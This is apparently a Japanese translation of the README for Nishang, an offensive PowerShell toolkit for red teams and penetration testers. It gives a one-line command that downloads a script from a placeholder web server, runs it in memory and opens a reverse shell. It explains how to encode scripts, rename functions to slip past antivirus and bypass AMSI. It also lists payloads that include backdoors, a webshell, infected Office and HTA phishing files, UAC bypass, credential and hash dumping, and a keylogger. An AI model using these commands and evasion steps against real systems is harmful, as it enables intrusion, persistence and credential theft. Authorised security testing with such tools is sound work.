
Nishang - レッドチーム、ペネトレーションテスト、攻撃的セキュリティのための攻撃型PowerShell
作成者: Nikhil Mittal Altered Security - 実践的なレッドチームおよびエンタープライズセキュリティトレーニング! の創設者
現在のPowerShellセッションにすべてのスクリプトをインポートします(PowerShell v3以降)。
PS C:\nishang> Import-Module .\nishang.psm1
個別のスクリプトはドットソーシングで使用します。
PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information
スクリプトや関数のヘルプを表示するには、以下を使用します:
PS C:\nishang> Get-Help [スクリプト名] -full
バージョン0.3.8以降、ヘルプはスクリプトそのものではなく、スクリプト実行後にロードされる関数に対して利用可能であることに注意してください。すべての場合において、関数名はスクリプト名と同じです。
例えば、Get-WLAN-Keys.ps1のヘルプを表示するには、以下を使用します:
PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -Full
Nishangのスクリプトは、多くのアンチウイルスによって悪意のあるものとして検出されます。ターゲット上のスクリプトはメモリ上で使用することを意図しており、PowerShellで簡単に実行できます。メモリ上でPowerShellスクリプトを実行する2つの基本的な方法:
方法1. メモリ内ダウンロードと実行を使用: 以下のコマンドを使用して、リモートシェル、meterpreterのネイティブシェル、ウェブシェルなどからPowerShellスクリプトを実行し、そのエクスポートされた関数を利用します。Nishangのすべてのスクリプトは、現在のPowerShellセッションに同じ名前の関数をエクスポートします。
powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
方法2. PowerShellの-encodedcommand(または-e)パラメータを使用する
Nishangのすべてのスクリプトは、現在のPowerShellセッションに同じ名前の関数をエクスポートします。そのため、非PowerShellシェルからencodedcommandパラメータを使用する場合は、スクリプト自体に関数呼び出し(引用符なし)"Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]"を追加してください。
NishangのInvoke-Encodeを使用してスクリプトをエンコードする:
PS C:\nishang> . \nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand
エンコードされたデータは .\encoded.txt に書き込まれました
エンコードされたコマンドは .\encodedcommand.txt に書き込まれました
上記から、encodedcommand.txtのエンコードされたスクリプトを使用し、コマンドが実行可能なターゲット(リモートシェル、meterpreterのネイティブシェル、ウェブシェルなど)で以下のように実行します:
C:\Users\target> powershell -e [encodedscript]
スクリプトが依然として検出される場合は、関数名とパラメータ名を変更し、ヘルプコンテンツを削除することで回避できる場合があります。
Windows 10のAMSIがスクリプトの実行をブロックする場合は、次のブログを参照してください:http://www.labofapenetrationtester.com/2016/09/amsi.html
Nishangには現在、以下のスクリプトとペイロードが含まれています。
DCShadowに必要な最小限の権限を提供するためにADオブジェクトを変更します。
このwebshellを使用して、PowerShellスクリプトのメモリ内実行、コマンドの実行、ファイルのダウンロードおよびアップロードが可能です。
サードパーティのWebサイトから指示を受け取り、PowerShellスクリプトをメモリ内で実行できるバックドア。
DNS TXTクエリからコマンドやPowerShellスクリプトを受信し、ターゲット上で実行し、クエリを使用してリモート制御できるバックドア。
指定した時間にターゲット上でPowerShellスクリプトを実行できるバックドア。
WLAN SSIDから接続せずにコマンドやスクリプトを受信できるバックドア。
Windowsのスクリーンセーバーをリモートコマンドおよびスクリプト実行に使用できるバックドア。
代替データストリームとWindowsレジストリを使用して永続性を実現するバックドア。
よく知られたDebuggerトリックを使用して、Sticky keysやUtilman(Windowsキー + U)でペイロードを実行するバックドア。
DCOMおよびWMI名前空間の権限を変更し、非管理ユーザーにアクセスを許可します。
PowerShellリモート処理の権限を変更し、非管理ユーザーにアクセスを許可します。
公開されているAMSIのバイパス/回避方法の実装。
PowerShellコマンドとスクリプトを実行できる感染済みCHMファイルを作成します。
Wordファイルを作成し、既存のファイルに感染させてPowerShellコマンドとスクリプトを実行します。
Excelファイルを作成し、既存のファイルに感染させてPowerShellコマンドとスクリプトを実行します。
Webサーバーに展開し、フィッシングキャンペーンで使用できるHTAファイルを作成します。
アプレットと共にスクリプトおよびコマンド実行に使用できる署名付きJARファイルを作成します。
PowerShellコマンドとスクリプトを実行できるショートカットファイルを作成します。
フィッシング認証情報やSMBハッシュ用のIQYファイルを作成します。
PowerShellコマンドとスクリプトを実行できるJSファイルを作成します。
PowerShellコマンドとスクリプトを実行できるSCTファイルを作成します。
NTLMハッシュチャレンジのキャプチャに使用できるSCFファイルを作成します。
SYSTEM権限が必要な場合に使用。
パッチを削除して脆弱性を導入。
UACをバイパス。
PowerShellスクリプトをダウンロードしてメモリ内で実行。
テキスト形式の実行可能ファイルをダウンロードし、実行可能ファイルに変換して実行。
十分な権限があるMSSQLサーバーで、PowerShellコマンド、ネイティブコマンド、またはSQLコマンドを実行。
DNS TXTクエリを使用してメモリ内でシェルコードを実行。
rundll32.exeを使用してPowerShellコマンドとスクリプト、またはリバースPowerShellセッションを実行。
仮想マシンかどうかを確認。
ボリュームシャドウコピーサービスを使用してSAMファイルをコピー。
ユーザーを騙してプレーンテキストの認証情報を入力させる。
出口検査用のスクリプトペア。
ターゲットから有用な情報を取得。
ターゲットからLSAシークレットを取得。
ターゲットからパスワードハッシュを取得。
ターゲットからWLANキーをプレーンテキストで取得。
ターゲットのキーストロークを記録。